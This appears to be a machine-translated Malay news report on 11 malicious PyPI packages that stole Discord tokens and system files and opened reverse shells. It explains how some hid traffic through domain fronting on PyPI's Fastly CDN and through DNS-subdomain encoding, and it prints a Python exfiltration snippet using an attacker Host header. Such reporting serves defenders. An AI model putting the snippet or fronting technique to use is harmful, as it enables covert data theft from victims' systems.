Perpustakaan berniat jahat dikesan dalam katalog PyPI yang menggunakan CDN PyPI untuk menyembunyikan saluran komunikasi

Dalam direktori PyPI (Python Package Index), 11 pakej yang mengandungi kod hasad telah dikenal pasti. Sebelum masalah dikenal pasti, pakej telah dimuat turun kira-kira 38 ribu kali secara keseluruhan. Pakej berniat jahat yang dikesan terkenal kerana penggunaan kaedah yang canggih untuk menyembunyikan saluran komunikasi dengan pelayan penyerang.

  • importantpackage (6305 muat turun), important-package (12897) - mewujudkan sambungan ke pelayan luaran dengan berselindung untuk menyambung ke pypi.python.org untuk menyediakan akses shell kepada sistem (reverse shell) dan menggunakan program trevorc2 untuk menyembunyikan saluran komunikasi.
  • pptest (10001), ipboards (946) - menggunakan DNS sebagai saluran komunikasi untuk menghantar maklumat mengenai sistem (dalam paket pertama nama hos, direktori kerja, IP dalaman dan luaran, yang kedua - nama pengguna dan nama hos) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - mengenal pasti token perkhidmatan Discord dalam sistem dan menghantarnya kepada hos luaran.
  • trrfab (287) - menghantar pengecam, nama hos dan kandungan /etc/passwd, /etc/hosts, /home kepada hos luaran.
  • 10Cent10 (490) - mewujudkan sambungan cangkerang terbalik dengan hos luaran.
  • yandex-yt (4183) - memaparkan mesej tentang sistem yang dikompromi dan dialihkan ke halaman dengan maklumat tambahan tentang tindakan lanjut yang dikeluarkan melalui nda.ya.ru (api.ya.cc).

Nota khusus ialah kaedah mengakses hos luaran yang digunakan dalam pakej penting dan pakej pakej penting, yang menggunakan rangkaian penghantaran kandungan Fastly yang digunakan dalam direktori PyPI untuk menyembunyikan aktiviti mereka. Malah, permintaan telah dihantar ke pelayan pypi.python.org (termasuk menyatakan nama python.org dalam SNI di dalam permintaan HTTPS), tetapi pengepala "Hos" HTTP menyertakan nama pelayan yang dikawal oleh penyerang (sek. forward.io. global.prod.fastly.net). Rangkaian penghantaran kandungan menghantar permintaan yang serupa kepada pelayan yang menyerang, menggunakan parameter sambungan TLS ke pypi.python.org semasa menghantar data.

Infrastruktur PyPI dikuasakan oleh rangkaian penghantaran kandungan Fastly, yang menggunakan proksi telus Varnish untuk cache permintaan biasa, dan juga menggunakan pemprosesan sijil TLS pada peringkat CDN, bukannya pada pelayan akhir, untuk memajukan permintaan HTTPS melalui proksi. Tidak kira hos sasaran, permintaan dihantar kepada proksi, yang menentukan hos yang dikehendaki menggunakan pengepala "Hos" HTTP dan nama domain hos terikat pada alamat IP pengimbang beban CDN yang biasa untuk semua pelanggan Fastly.

Pelayan penyerang juga mendaftar dengan CDN Fastly, yang menyediakan pelan percuma kepada semua orang malah membenarkan pendaftaran tanpa nama. Perlu diperhatikan bahawa untuk menghantar permintaan kepada mangsa apabila mencipta "cangkang terbalik", skema juga digunakan, tetapi dimulakan dari sisi hos penyerang. Dari luar, interaksi dengan pelayan penyerang kelihatan seperti sesi yang sah dengan direktori PyPI, disulitkan menggunakan sijil TLS PyPI. Teknik serupa, yang dikenali sebagai "penghadapan domain," sebelum ini digunakan secara aktif untuk menyembunyikan nama hos apabila memintas penyekatan, menggunakan keupayaan yang disediakan dalam beberapa rangkaian CDN untuk mengakses HTTPS dengan menunjukkan hos rekaan dalam SNI dan sebenarnya menghantar nama meminta hos dalam pengepala Hos HTTP dalam sesi TLS.

Perpustakaan berniat jahat dikesan dalam katalog PyPI yang menggunakan CDN PyPI untuk menyembunyikan saluran komunikasi

Untuk menyembunyikan aktiviti berniat jahat, pakej TrevorC2 juga digunakan untuk membuat interaksi dengan pelayan serupa dengan navigasi web biasa, contohnya, permintaan berniat jahat telah dihantar dengan berselindung untuk memuat turun imej β€œhttps://pypi.python.org/images/ guid=” dengan pengekodan maklumat dalam parameter panduan. url = "https://pypi.python.org" + "/images" + "?" + β€œguid=” + b64_payload r = request.Request(url, headers = {β€˜Host’: β€œpsec.forward.io.global.prod.fastly.net”})

Pakej pptest dan ipboards menggunakan pendekatan berbeza untuk menyembunyikan aktiviti rangkaian, berdasarkan pengekodan maklumat berguna dalam pertanyaan kepada pelayan DNS. Perisian hasad menghantar maklumat dengan melaksanakan permintaan DNS seperti "nu4timjagq4fimbuhe.example.com", yang mana data yang dihantar ke pelayan kawalan dikodkan menggunakan format base64 dalam nama subdomain. Penyerang menerima mesej ini dengan mengawal pelayan DNS untuk domain example.com.

Sumber: opennet.ru

Tambah komen